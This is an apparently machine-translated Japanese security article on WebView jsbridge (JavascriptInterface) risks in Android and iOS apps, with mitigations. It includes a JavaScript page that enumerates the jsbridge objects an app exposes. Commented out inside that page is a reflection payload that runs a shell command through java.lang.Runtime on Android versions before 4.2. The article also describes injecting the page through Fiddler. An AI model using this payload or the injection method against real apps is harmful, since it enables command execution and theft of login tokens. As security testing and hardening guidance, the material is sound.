APP webview JavascriptInterfaceセキュリティ


一、Android webview
1.1 Android4.2バージョン前addJavascriptInterfaceには、反射呼び出しによるコマンド実行の脆弱性があります.
成功するには、まずAndroidバージョンが4.2未満である必要があります(かなり少なく、minSdkValersionを17に設定すると低バージョンのマシンで動作することを避けることができます)、その後、このwebviewは悪意のあるページ(スキャンコード、url scheme、ダイナミックコンテンツ、いずれも局外リンクを生成する可能性がありますが、一般的にappは局外リンクを開くことはありません)を開くことができます.
Androidバージョンが4.2未満の場合、webviewはjsbridge(JavascriptInterface)を追加できず、システムレベルの3つのインタフェースを削除する必要があります.
removeJavascriptInterface("searchBoxJavaBridge_") 
removeJavascriptInterface("accessibility")
removeJavascriptInterface("accessibilityTraversal")
shouldoverrideurlloading,onalert,onpromptなどの関数を再ロードし、類似のjsbridge効果を実現できます.
4.2バージョン以降はjsによって呼び出されるには@JavascriptInterface注記を付けなければなりません
1.2 webviewオープンjsbridgeログインtoken、appダウンロードなどの機密操作を取得できる
JavascriptInterfaceは使いやすく、app h 5化(hybrid)に適している開発者もいます.したがって、大量のjsbridgeメソッドがオープンし、呼び出し元を制限しません.
appスキャンコードで局外リンクを開くことができれば、局外悪意ページはユーザログインtokenを簡単に読み取ることができる.(局外ページでは、すべてのwebviewがオープンしているjsbridgeが見つかります.後述します)
開発者はホワイトリストを使用してwebviewがどのドメインの下のページをロードできるかを制限し、webviewが現在のページurlを取得するには2つの方法がある.getOriginalUrl()とwebView.getUrl()は、使用後の方が安全です
二、IOS webview
IOS webviewは呼び出しを反射するリスクはありませんが、制限されていないjsbridgeを開放するリスクがあります.
IOSには2種類のwebviewがあり、UIWebView(古い)とWKWebview、jsbridge呼び出し方式はそれぞれ
window.OCModel['jsbridge'](shareObj)とwindow.webkit.messageHandlers.jsbridge.postMessage(data)
三、すべてのwebviewオープンjsbridgeを発見する
3.1サーバに次のコードを保存します(android、iosはすべて適用されます)

webview jsbridge  


// function getContents(inputStream)
// {
// 	var contents = "";
// 	var b = inputStream.read();
// 	while(b != -1) {
//     	var bString = String.fromCharCode(b);
//     	contents += bString;
//     	contents += "
" // b = inputStream.read(); // } // return contents; // } function check() { var origin = 'caches,localStorage,sessionStorage,webkitStorageInfo,indexedDB,webkitIndexedDB,ondeviceorientationabsolute,ondeviceorientation,ondevicemotion,crypto,stop,open,alert,confirm,prompt,print,requestAnimationFrame,cancelAnimationFrame,requestIdleCallback,cancelIdleCallback,captureEvents,releaseEvents,getComputedStyle,matchMedia,moveTo,moveBy,resizeTo,resizeBy,getSelection,postMessage,find,blur,focus,getMatchedCSSRules,close,webkitRequestAnimationFrame,webkitCancelAnimationFrame,ontouchstart,webkitCancelRequestAnimationFrame,ontouchmove,ontouchend,ontouchcancel,btoa,onpointerup,atob,onpointerover,setTimeout,onpointerout,onpointermove,clearTimeout,onpointerleave,onpointerenter,onpointerdown,setInterval,onpointercancel,clearInterval,createImageBitmap,onorientationchange,scroll,orientation,scrollTo,scrollBy,customElements,onauxclick,performance,fetch,onunload,onunhandledrejection,console,onstorage,getContents,onrejectionhandled,onpopstate,check,onpageshow,onpagehide,ononline,onoffline,onmessage,onlanguagechange,onhashchange,onbeforeunload,onwaiting,onvolumechange,ontoggle,ontimeupdate,onsuspend,onsubmit,onstalled,onshow,onselect,onseeking,onseeked,onscroll,onresize,onreset,onratechange,onprogress,onplaying,onplay,onpause,onmousewheel,onmouseup,onmouseover,onmouseout,onmousemove,onmouseleave,onmouseenter,onmousedown,onloadstart,onloadedmetadata,onloadeddata,onload,onkeyup,onkeypress,onkeydown,oninvalid,oninput,onfocus,onerror,onended,onemptied,ondurationchange,ondrop,ondragstart,ondragover,ondragleave,ondragenter,ondragend,ondrag,ondblclick,oncuechange,oncontextmenu,onclose,onclick,onchange,oncanplaythrough,oncanplay,oncancel,onblur,onabort,isSecureContext,onwheel,onwebkittransitionend,onwebkitanimationstart,onwebkitanimationiteration,onwebkitanimationend,ontransitionend,onsearch,onanimationstart,onanimationiteration,onanimationend,styleMedia,defaultstatus,defaultStatus,screenTop,screenLeft,clientInformation,devicePixelRatio,outerHeight,outerWidth,screenY,screenX,pageYOffset,scrollY,pageXOffset,scrollX,innerHeight,innerWidth,screen,external,applicationCache,navigator,frameElement,parent,opener,top,length,frames,closed,status,toolbar,statusbar,scrollbars,personalbar,menubar,locationbar,history,location,name,document,self,window,TEMPORARY,PERSISTENT,addEventListener,removeEventListener,dispatchEvent'; var u = navigator.userAgent; var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1; if(!isAndroid){ document.write('IOS:<br>'); if(window.OCModel == undefined){ alert('no uiwebview') }else{ for (var o in window.OCModel) { document.write(o+':<br>'); } } if(window.webkit == undefined){ alert('no wkwebview') }else{ for (var o in window.webkit.messageHandlers) { document.write(o+':<br>'); } } return; } for (var obj in window){ if(origin.indexOf(obj)<0){ document.write(obj+':<br>'); for (var o in window[obj]) { document.write('  '+o+'<br>'); } } } // document.write('<br>dangerous:<'); // try { // if ("getClass" in window[obj]) { // alert(obj); // try{ // window[obj].getClass(); // document.write('<b>'+obj+'</b><br>'); // var p = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["id"]); // document.write(getContents(p.getInputStream())+'<br>'); // }catch(e){ // } // } // } catch(e) { // } } check();

3.2 APPにこのページをロードさせる
スキャン方式がなく、他の明らかな方法でページを開くことができない場合は、fiddlerツールの自動応答機能を通じて、appがロードしたhtmlドキュメントを修正し、上記のコードをapp webviewに応答してみてください.オープンなjsbridgeはすべて見つかります